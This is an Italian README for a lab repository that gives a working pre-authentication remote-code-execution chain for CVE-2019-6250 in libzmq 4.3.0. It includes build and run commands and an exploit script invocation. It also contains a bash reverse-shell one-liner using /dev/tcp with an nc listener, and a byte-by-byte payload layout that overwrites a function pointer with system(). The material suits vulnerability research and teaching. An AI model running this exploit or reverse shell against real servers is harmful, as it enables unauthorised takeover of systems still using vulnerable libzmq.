dinosn/cve-2019-6250-labLaboratorio RCE pre-autenticazione end-to-end per CVE-2019-6250 (libzmq <= 4.3.0, ZMTP/2.0 wire-protocol)
Catena RCE funzionante end-to-end + laboratorio riproducibile per CVE-2019-6250, l'heap-buffer-overflow pre-autenticazione in libzmq's v2_decoder_t::size_ready. Un overflow aritmetico di puntatore uint64_t consente a un peer non autenticato di sovrascrivere il puntatore a funzione msg_t::content_t::ffn adiacente sul percorso ZMTP/2.0, quindi attivarlo tramite la chiusura del socket TCP → ~v2_decoder_t() → _in_progress.close() → system(cmd).
Di Nicolas Krassas (@dinosn).
Solo per uso in laboratorio. Questo kit include una versione intenzionalmente vulnerabile di libzmq 4.3.0. Non esporre la porta 5555 al di fuori del laboratorio. Il bug è stato corretto sette anni fa in libzmq 4.3.1 (commit
1a2ed127).
system() — prova su file
docker build -t cve-2019-6250-lab .
docker run --rm -it --cap-add=SYS_ADMIN --security-opt seccomp=unconfined \
-p 5555:5555 cve-2019-6250-lab
# inside the container:
/opt/zmq-rce/exploit.py 127.0.0.1 5555
ls -l /tmp/PWNED-CVE-2019-6250 # <-- created by the libzmq server process
sudo ./setup.sh # builds libzmq 4.3.0 + target, disables ASLR
sudo ./start_server.sh # binds tcp://0.0.0.0:5555
./exploit.py 127.0.0.1 5555 # default cmd: touch /tmp/PWNED-CVE-2019-6250
ls -l /tmp/PWNED-CVE-2019-6250
# terminal 1 — listener
nc -lvnp 4444
# terminal 2 — fire the chain
./exploit.py 127.0.0.1 5555 'bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"'
Dovresti vedere qualcosa del genere:
listening on [any] 4444 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 55842
bash: cannot set terminal process group (1355844): Inappropriate ioctl for device
bash: no job control in this shell
root@host:/opt/zmq-rce#
La riga cannot set terminal process group (1355844) conferma che la shell è stata generata dal processo target libzmq (PID 1355844), non da qualcosa che hai eseguito localmente.
.
├── README.md # you are here
├── server.c # tiny PULL listener — the vulnerable target
├── exploit.py # full RCE chain
├── setup.sh # bare-metal provisioner (clones + builds libzmq 4.3.0)
├── start_server.sh # start/restart the target
├── read_addresses.sh # regenerate the address profile for a different image
├── run_lab_test.sh # automated end-to-end smoke test (CI-friendly)
├── Dockerfile # one-command containerised lab
└── screenshots/ # README screenshots (generated with charmbracelet/freeze)
src/v2_decoder.cpp:117 (libzmq 4.3.0):
shared_message_memory_allocator &allocator = get_allocator ();
if (unlikely (!_zero_copy
|| ((unsigned char *) read_pos_ + msg_size_ // <-- wraps
> (allocator.data () + allocator.size ())))) {
rc = _in_progress.init_size (static_cast<size_t> (msg_size_)); // safe path
} else {
rc = _in_progress.init (read_pos_, msg_size_, call_dec_ref,
allocator.buffer (), allocator.provide_content ());
// zero-copy aliasing path — _in_progress.data() == read_pos_
}
msg_size_ è il uint64_t big-endian controllato dall'attaccante dall'intestazione del frame LARGE ZMTP/2.0. Con msg_size_ = 0xFFFFFFFFFFFFFFFF, la somma read_pos_ + msg_size_ avvolge modulo 2⁶⁴ e risulta minore del lato destro. Il controllo dei limiti valuta false → l'esecuzione cade nel percorso zero-copy → il messaggio _in_progress aliasa il buffer di ricezione. Il decoder quindi chiede al kernel 0xFFFFFFFFFFFFFFFF byte aggiuntivi a read_pos_, e recv() scrive allegramente il nostro payload oltre la fine del buffer di ricezione nell'array content_t[] adiacente (allocato nello stesso blocco malloc() a decoder_allocators.cpp:88).
[ atomic_counter_t (refcnt) ] 8 bytes
[ recv buffer ] 8192 bytes ← bytes start landing at read_pos_+0
[ content_t [ _max_counters ] ] 249 × 40 = 9960 bytes
↑ content_t[0] starts at read_pos_+8183
Inviamo 8224 byte di payload strutturati in modo che:
| offset payload | byte | cosa sovrascrive |
|---|---|---|
[0:16] | riempimento | (nel buffer di ricezione) |
[16:K] | stringa di comando + NUL | (nel buffer di ricezione — arg di system) |
[K:8183] | riempimento | (nel buffer di ricezione) |
[8183:8191] | read_pos+16 | content_t[0].data (→ comando) |
[8191:8199] | 0 | content_t[0].size |
[8199:8207] | &system | content_t[0].ffn (obiettivo del flusso di controllo) |
[8207:8215] | 0 | content_t[0].hint |
[8215:8223] | 0 | content_t[0].refcnt |
Quando chiudiamo il socket TCP, il server chiama _in_progress.close() in ~v2_decoder_t(). In msg_t::close:
if (!(_u.zclmsg.flags & shared) || !content->refcnt.sub(1)) {
content->ffn(content->data, content->hint); // -> system(cmd)
}
init_external_storage imposta _u.zclmsg.flags = 0, quindi la scorciatoia OR prende subito il ramo — refcnt non viene nemmeno controllato. La nostra ffn sovrascritta viene eseguita.
Niente ROP, niente shellcode, niente info-leak: solo una risoluzione di simbolo libc e una stringa di comando inline.
v2_decoder_t pre-autenticazioneGuardando stream_engine.cpp:707:
bool zmq::stream_engine_t::handshake_v2_0 ()
{
if (_session->zap_enabled ()) { error (...); return false; }
_encoder = new v2_encoder_t (...);
_decoder = new v2_decoder_t (...); // <-- NO mechanism object
return true;
}
Il percorso ZMTP/2.0 istanzia v2_decoder_t senza meccanismo. Solo ZAP rifiuta le connessioni 2.0, e ZAP è disattivato di default. Una volta che un peer invia il saluto ZMTP/2.0 di 12 byte (0xff + 8 null + 0x7f + revisione 0x01 + tipo di socket), ogni byte successivo viene analizzato da v2_decoder_t. Nessuna autenticazione. Nessun handshake. Nessuna macchina a stati del meccanismo.
Opzionale: compila con -fsanitize=address e guarda il report dell'heap-buffer-overflow:
Il messaggio 0 bytes after 18160-byte region conferma la dimensione del chunk che abbiamo calcolato: 8 (atomic_counter) + 8192 (buffer di ricezione) + 249 × 40 (array content_t) = 18160. Il sito di allocazione a handshake_v2_0:719 conferma che il bug si attiva sul percorso ZMTP/2.0 pre-autenticazione.